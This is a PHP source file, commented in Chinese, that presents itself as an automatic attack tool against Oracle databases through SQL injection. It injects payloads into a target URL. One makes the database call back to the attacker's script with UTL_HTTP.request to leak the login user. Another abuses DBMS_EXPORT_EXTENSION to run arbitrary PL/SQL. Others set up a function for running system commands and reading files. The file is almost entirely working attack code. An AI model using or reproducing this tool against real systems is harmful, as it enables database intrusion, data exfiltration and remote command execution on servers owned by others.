/*
* Linx Oracle 自动攻击器 demo
* 2008.3.25,linx2008@gmail.com
* 利用条件:
* 1.oracle服务器可以读取当前php脚本
* 2.要运行系统命令,请先在oralce服务器创建 sys.LinxRunCMD() 函数
*
* 提示:
* 要获得cookie,请运行 javascript:document.cookie=window.prompt("Edit cookie:",document.cookie);void(0);
* 注射方式:为必填内容,注射语句用"(<**>)"代替。
* 使用步骤:
*
* eg:如果你的注射地址是 http://host/test.jsp?action=read&id=123,则
* 1.输入"注射地址",
* 2.点击"数值型" or "字符型型",此时自动生成 注射方式:http://host/test.jsp?action=read&id=123 and chr(1) not in (<**>)
* 3.如果你没有创建函数,请先点击“创建函数”
* 4.选择操作:运行命令 or读取文件
* 5.输入命令,选择"生成语句",再点击 运行语句
*
*/
@set_time_limit(0);
if($_REQUEST[step]) {
//安装函数
$step=$_REQUEST[step];
$step=intval($step);
if($step==0) {
$step=1;
}
$codes = get_shellcode();
echo '';
$URL_TO_POST = $_REQUEST[Submit2]?$_REQUEST[url2]:$_REQUEST[url2];
$URL_TO_POST=trim($URL_TO_POST);
$URL_TO_POST = str_replace("<**>",$codes[$step],$URL_TO_POST);
$URL_TO_POST=stripslashes($URL_TO_POST);
$query=substr($URL_TO_POST, strpos($URL_TO_POST,"?")+1);
parse_str($query,$data);
foreach($data as $key=>$val) {
$data[$key]=stripslashes($val);
}
$out = HTTP_Post($URL_TO_POST,$data, $referrer,$_REQUEST[cookie]);
if($out[1]===false) exit("无法远程服务器连接服务器! ( $_REQUEST[url2] )");
//print_r($data);
echo "
";
if($step !="6") {
echo "下一步 (now: $step / 6)
";
} else {
echo "创建函数结束,请尝试运行函数。返回调用函数
";
}
echo "
所发请求:
";
echo "
返回结果:
";
echo $out[1];
exit;
}
if($_GET[act]) {
//oralce 返回数据
$onlineip = GetIP(); //客户端的IP
$f=fopen("oracle_record.txt","w+");
fwrite($f,"\r\nOracle服务器IP: ".$onlineip.":\r\n\r\n".stripslashes($_REQUEST[act])."\r\n\r\n");
fclose($f);
echo "Hello,Oracle!";
exit();
}
if($_REQUEST[test]) {
echo '';
$URL_TO_POST = $_REQUEST[Submit2]?$_REQUEST[url2]:$_REQUEST[url2];
$URL_TO_POST=trim($URL_TO_POST);
$codes = "SELECT chr(2)||UTL_HTTP.request(".to_chr($_REQUEST[location_url]."?act=sys.login_user:")."||sys.login_user) FROM all_tables where rownum=1";
$URL_TO_POST = str_replace("<**>",$codes,$URL_TO_POST);
$URL_TO_POST=stripslashes($URL_TO_POST);
$query=substr($URL_TO_POST, strpos($URL_TO_POST,"?")+1);
parse_str($query,$data);
foreach($data as $key=>$val) {
$data[$key]=stripslashes($val);
}
$out = HTTP_Post($URL_TO_POST,$data, $referrer,$_REQUEST[cookie]);
//print_r($data);
if($out[1]===false) exit ("无法远程服务器连接服务器! ( $_REQUEST[url2] )");
echo "
所发请求:
";
if(file_exists("oracle_record.txt")) {
echo "恭喜你,Oracle服务器可以通过 UTL_HTTP.request 连接当前PHP脚本。\r\n";
echo "执行结果:
";
}else {
echo "Oracle服务器不能连接这个PHP脚本(".$_REQUEST[location_url]."),因此这个PHP脚本可能无法远程读取oracle的数据。
$URL_TO_POST
";
}
echo "
";
echo $out[1];
exit;
}
if($_REQUEST[test2]) {
echo '';
$URL_TO_POST = $_REQUEST[Submit2]?$_REQUEST[url2]:$_REQUEST[url2];
$URL_TO_POST=trim($URL_TO_POST);
$codes = "select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),".
to_chr("DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE 'declare temp varchar2(200);BEGIN select ''||UTL_HTTP.request(''".$_REQUEST[location_url]."?act=test2'') into temp FROM all_tables where rownum=1;END;';END;--").",chr(83)||chr(89)||chr(83),0,chr(49),0) FROM all_tables where rownum=1";
$URL_TO_POST = str_replace("<**>",$codes,$URL_TO_POST);
$URL_TO_POST=stripslashes($URL_TO_POST);
$query=substr($URL_TO_POST, strpos($URL_TO_POST,"?")+1);
parse_str($query,$data);
foreach($data as $key=>$val) {
$data[$key]=stripslashes($val);
}
$out = HTTP_Post($URL_TO_POST,$data, $referrer,$_REQUEST[cookie]);
//print_r($data);
if($out[1]===false) exit ("无法远程服务器连接服务器! ( $_REQUEST[url2] )");
echo "
所发请求:
";
if(file_exists("oracle_record.txt")) {
echo "执行结果:
";
}else {
echo "Oracle服务器不能连接这个PHP脚本(".$_REQUEST[location_url]."),因此这个PHP脚本可能无法远程读取oracle的数据。
";
}
echo $out[1];
exit;
}
if($_REQUEST[shellcode]) {
echo '';
$URL_TO_POST = $_REQUEST[Submit2]?$_REQUEST[shellcode2]:$_REQUEST[shellcode];
$URL_TO_POST=stripslashes($URL_TO_POST);
$URL_TO_POST=trim($URL_TO_POST);
$query=substr($URL_TO_POST, strpos($URL_TO_POST,"?")+1);
parse_str($query,$data);
foreach($data as $key=>$val) {
$data[$key]=stripslashes($val);
}
$out = HTTP_Post($URL_TO_POST,$data, $referrer,$_REQUEST[cookie]);
if($out[1]===false) exit("无法远程服务器连接服务器! ( $_REQUEST[url2] )");
echo "
所发请求:
";
echo "执行结果:
";
echo $out[1];
exit;
}
?>